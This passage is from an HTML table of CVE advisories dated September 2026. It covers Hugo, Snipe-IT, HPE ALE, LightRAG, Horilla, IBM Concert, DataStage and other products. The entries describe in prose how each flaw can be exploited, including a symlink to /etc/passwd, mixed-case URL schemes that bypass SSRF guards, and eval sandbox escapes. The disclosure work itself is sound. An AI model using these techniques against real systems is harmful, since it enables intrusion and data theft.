&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo versions from v0.162.0 before v0.166.0 contain a case-sensitive validation flaw in the security.http.urls IP-literal deny rule that allows attackers to bypass restrictions. Attackers can use mixed-case URL schemes in resources.GetRemote calls to fetch from restricted IP addresses like localhost.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100693&quot; target=&quot;_blank&quot;&gt;CVE-2026-100693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo versions from v0.161.0 through v0.165.0 run Node.js tools (css.PostCSS, css.TailwindCSS, js.Babel) under the Node.js permission model to restrict file system reads to the project directory and configured mounts. Because the Node.js permission model validates only the lexical path and follows symbolic links that point outside the allowed set, Hugo did not detect symlinks escaping the sandbox. An attacker who can contribute content to a Hugo project (for example via a pull request) can commit a symlink such as assets/css/x.css -&amp;gt; /etc/passwd together with a PostCSS plugin that reads it, allowing any file readable by the Hugo build process to be disclosed and potentially embedded in the published site. This affects builds using the default security configuration; projects that do not invoke Node.js tools are unaffected. Fixed in v0.166.0, which scans allowed paths and fails the build when a symbolic link resolves outside them.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100690&quot; target=&quot;_blank&quot;&gt;CVE-2026-100690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo is a static site generator. In versions after v0.123.0 and before v0.166.0, Hugo&#039;s symlink confinement checks stopped at the mount root itself, so a theme or module checked into themes/ (or a vendored module) could contain a symlink at a mount root (for example themes/mytheme/assets -&amp;gt; /some/dir/outside). Files behind such a symlink were readable during a site build through resources.Get, resources.Match and similar functions, and could be published to public/ via static mounts, bypassing the rule that theme and module mount sources must be local paths. Modules fetched via Go modules are not affected because Go module zips cannot contain symlinks, and this is not an escalation for the main project, which may already mount absolute paths by configuration. Fixed in v0.166.0, where symlinked mount roots and symlinked directories between the mount root and the module directory are treated as non-existent for all modules. As a workaround, inspect themes/ and vendored modules for symlinks at mount roots before building, or replace symlinks with explicit mounts.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100692&quot; target=&quot;_blank&quot;&gt;CVE-2026-100692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a user with the customfields.create permission can store markup in CustomField.name, and app/Presenters/AssetPresenter.php assigns that value as an unescaped bootstrap-table header title. When another user opens an asset-list page associated with the fieldset, the stored markup executes on page load in that user&#039;s Snipe-IT session. This can expose same-origin data and perform authenticated actions with the victim&#039;s privileges, including privilege escalation when a superuser views the affected list. This issue is fixed in version 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62368&quot; target=&quot;_blank&quot;&gt;CVE-2026-62368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/{object_type}/{id}/files/{file_id} allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The app/Http/Controllers/Api/UploadedFilesController.php show() path does not apply the safe-inline allowlist used by the equivalent web controller, so the browser can process an attacker-controlled xml-stylesheet reference and execute JavaScript generated by the stylesheet in the Snipe-IT origin. A victim who is authorized to view the object must open the attachment URL, after which the script can read same-origin data and perform authenticated actions with the victim&#039;s privileges. This issue is fixed in version 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63498&quot; target=&quot;_blank&quot;&gt;CVE-2026-63498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;halo-dev--Halo&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in halo-dev Halo up to 2.25.4/2.26.1. Affected is an unknown function of the file application/src/main/java/run/halo/app/content/comment/ReplyNotificationSubscriptionHelper.java of the component SpEL Handler. Such manipulation leads to improper neutralization. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97182&quot; target=&quot;_blank&quot;&gt;CVE-2026-97182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hatchet-dev--hatchet&lt;/td&gt;
&lt;td&gt;Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, ValidateOAuthState clears the oauth_state_ session value to an empty string after a successful OAuth callback and later accepts an empty state parameter as equal, allowing an unauthenticated attacker to bind a victim&#039;s Hatchet session to an attacker-controlled OAuth identity. Exploitation requires the victim to have completed an OAuth flow in the current session and the deployment to enable auth.google.enabled, auth.github.enabled, or the Slack integration. This issue is fixed in version 0.91.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61687&quot; target=&quot;_blank&quot;&gt;CVE-2026-61687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the Analytics and Location Engine (ALE) where the application and underlying operating system use default, hard-coded credentials for several administrative and system accounts. An unauthenticated remote attacker could exploit this vulnerability by attempting to log in using these known default credentials. Successful exploitation could result in an attacker gaining unauthorized access to the application&#039;s management interface and the underlying operating system, potentially leading to full system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76708&quot; target=&quot;_blank&quot;&gt;CVE-2026-76708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the internal administrative component of Analytics and Location Engine (ALE). Successful exploitation of this vulnerability could allow an unauthenticated remote attacker to gain unauthorized write access to the file system with elevated privileges, potentially resulting in full system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76709&quot; target=&quot;_blank&quot;&gt;CVE-2026-76709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the Analytics and Location Engine (ALE) management interface that may allow for the disclosure of sensitive information. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted requests to certain internal endpoints. Successful exploitation could result in the disclosure of sensitive site hierarchy, infrastructure details, and client device information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76710&quot; target=&quot;_blank&quot;&gt;CVE-2026-76710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in an Analytics and Location Engine (ALE) component where the impacted process improperly processes incoming socket connections. An unauthenticated remote attacker could exploit this vulnerability by providing specially crafted input during the connection process. Successful exploitation could result in unauthorized data injection.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76711&quot; target=&quot;_blank&quot;&gt;CVE-2026-76711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the Analytics and Location Engine (ALE) that may allow for unauthorized access, information disclosure, or denial of service. An unauthenticated remote attacker could exploit the vulnerable system by sending specially crafted input or intercepting network communications. Successful exploitation could result in the disclosure of sensitive information, bypass of security controls, or a denial of service condition on the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76712&quot; target=&quot;_blank&quot;&gt;CVE-2026-76712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the maintenance restore functionality of Analytics and Location Engine (ALE). Successful exploitation of this vulnerability could allow an authenticated remote attacker to gain unauthorized access to the file system with root privileges, potentially resulting in full system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76713&quot; target=&quot;_blank&quot;&gt;CVE-2026-76713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;Vulnerabilities in the Analytics and Location Engine web interface allows remote authenticated users to run arbitrary commands on the underlying host. A successful exploit could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76714&quot; target=&quot;_blank&quot;&gt;CVE-2026-76714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability in an administrative component of Analytics and Location Engine (ALE) is vulnerable to a man-in-the-middle (MitM) attack. Successful exploitation of this vulnerability could allow an unauthenticated remote attacker to execute arbitrary code with root privileges on the affected appliance.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76715&quot; target=&quot;_blank&quot;&gt;CVE-2026-76715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;heym before 0.0.91 contains a sandbox escape vulnerability in the expression engine&#039;s DotList map/filter and fallback resolver that allows authenticated users to execute arbitrary Python code. Attackers can craft workflow expressions using dunder attribute access through item expressions or the fallback resolver to access os.system and execute commands as the backend process.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100864&quot; target=&quot;_blank&quot;&gt;CVE-2026-100864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;Heym before 0.0.53 evaluates workflow condition expressions using Python&#039;s eval() with insufficient sandboxing in the workflow executor service. Authenticated users can edit workflow condition nodes or import malicious templates to execute arbitrary Python and OS commands as the backend process user.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100865&quot; target=&quot;_blank&quot;&gt;CVE-2026-100865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--LightRAG&lt;/td&gt;
&lt;td&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85734&quot; target=&quot;_blank&quot;&gt;CVE-2026-85734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--LightRAG&lt;/td&gt;
&lt;td&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, _validated_addresses in lightrag/parser/markdown/parser.py evaluates the literal resolved address with ipaddress.is_global without consistently classifying an IPv4 address embedded in an IPv6 transition wrapper. A caller who can upload a Markdown or textpack document can supply an external image URL using NAT64 64:ff9b::/96 or an IPv4-compatible form that embeds a loopback, private, or cloud-metadata IPv4 address. On a deployment with compatible NAT64 or DNS64 routing, _download and _build_guarded_opener accept the wrapper and fetch the internal resource, whose body is then ingested. Current interpreter behavior already blocks some RFC 8215 and 6to4 forms, but the fixed guard handles all documented wrappers without becoming more permissive than the standard library. This issue is fixed in version 1.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85740&quot; target=&quot;_blank&quot;&gt;CVE-2026-85740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Honeywell--PD45 Industrial Printer&lt;/td&gt;
&lt;td&gt;An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication. An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13249&quot; target=&quot;_blank&quot;&gt;CVE-2026-13249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Honeywell--PD45 Industrial Printer&lt;/td&gt;
&lt;td&gt;An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040,&amp;nbsp;allows&amp;nbsp;an&amp;nbsp;authenticated&amp;nbsp;user&amp;nbsp;with&amp;nbsp;access&amp;nbsp;to&amp;nbsp;the&amp;nbsp;admin&amp;nbsp;or&amp;nbsp;itadmin&amp;nbsp;account&amp;nbsp;to&amp;nbsp;submit&amp;nbsp;commands&amp;nbsp;written&amp;nbsp;in&amp;nbsp;the&amp;nbsp;Intermec&amp;nbsp;Fingerprint&amp;nbsp;programming&amp;nbsp;language&amp;nbsp;directly&amp;nbsp;to&amp;nbsp;the&amp;nbsp;printer&amp;nbsp;&#039;s&amp;nbsp;internal&amp;nbsp;command&amp;nbsp;interpreter.&amp;nbsp; An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13248&quot; target=&quot;_blank&quot;&gt;CVE-2026-13248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;horilla--horilla-hr&lt;/td&gt;
&lt;td&gt;Horilla is an HR and CRM software. Prior to 2.0.0, HorillaListView.export_data in horilla_views/generic/cbv/views.py accepts an authenticated user&#039;s columns POST parameter, takes field_tuple[1], interpolates it into dynamic_fn_str as Python source, and passes the generated function definition to exec(). A crafted string that remains valid under ast.literal_eval can inject Python syntax into a default argument evaluated during function definition, allowing arbitrary operating-system commands to execute with the application process privileges, including root privileges in the shipped Docker image. This issue is fixed in version 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96795&quot; target=&quot;_blank&quot;&gt;CVE-2026-96795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;htplugins--HT Contact Form Drag &amp;amp; Drop Form Builder for WordPress&lt;/td&gt;
&lt;td&gt;The HT Contact Form - Drag &amp;amp; Drop Form Builder for WordPress plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via &#039;form_data&#039; Rich Text Field via Draft Save/Resume in all versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires tricking a user into clicking an attacker-supplied draft resume URL, which the attacker constructs using the draft_key and access_token returned directly in the save response.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93303&quot; target=&quot;_blank&quot;&gt;CVE-2026-93303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s-scala-xml&lt;/td&gt;
&lt;td&gt;http4s-scala-xml provides `EntityDecoder[F, scala.xml.Elem]` instances that parse XML message bodies. Prior to versions 0.24.1 and 1.0.0-M39, these decoders used a `javax.xml.parsers.SAXParserFactory` obtained from `SAXParserFactory.newInstance` without any security configuration. With the JDK&#039;s default settings, the parser resolves DOCTYPE declarations, external general and parameter entities, and external DTDs.An application that uses these decoders to parse untrusted XML is vulnerable to XML External Entity (XXE) attacks. An attacker can craft a request that discloses local files readable by the service process, performs server-side request forgery (SSRF) against internal network resources, and/or causes denial of service through entity expansion. Versions 0.24.1 and 1.0.0-M39 fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61741&quot; target=&quot;_blank&quot;&gt;CVE-2026-61741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to access or modify unauthorized resources due to the use of wildcards in RBAC permission definitions.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17472&quot; target=&quot;_blank&quot;&gt;CVE-2026-17472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 allows an unauthenticated remote attacker can supply specially crafted input that is incorporated into OS commands, resulting in arbitrary command execution on the underlying system. Successful exploitation allows remote code execution with the privileges of the affected application.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6721&quot; target=&quot;_blank&quot;&gt;CVE-2026-6721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 is vulnerable to a buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6730&quot; target=&quot;_blank&quot;&gt;CVE-2026-6730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 references or accesses memory after it has been freed. This allows an attacker who can influence program execution or input may exploit this condition to corrupt memory, cause application crashes, or execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6928&quot; target=&quot;_blank&quot;&gt;CVE-2026-6928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 has a double free vulnerability that exists due to incorrect memory management. A local attacker can exploit this flaw to corrupt heap memory and execute arbitrary code in the context of the affected process.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6794&quot; target=&quot;_blank&quot;&gt;CVE-2026-6794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 invokes operating system commands without fully qualifying executable paths or adequately restricting search path resolution. As a result, an attacker with local system access can manipulate the search path environment to execute untrusted or malicious code.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6935&quot; target=&quot;_blank&quot;&gt;CVE-2026-6935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16346&quot; target=&quot;_blank&quot;&gt;CVE-2026-16346&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81549&quot; target=&quot;_blank&quot;&gt;CVE-2026-81549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to OS command injection.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16468&quot; target=&quot;_blank&quot;&gt;CVE-2026-16468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 px-runtime could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16469&quot; target=&quot;_blank&quot;&gt;CVE-2026-16469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16672&quot; target=&quot;_blank&quot;&gt;CVE-2026-16672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17102&quot; target=&quot;_blank&quot;&gt;CVE-2026-17102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80379&quot; target=&quot;_blank&quot;&gt;CVE-2026-80379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper escaping of connector property values during OSH script generation.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80412&quot; target=&quot;_blank&quot;&gt;CVE-2026-80412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
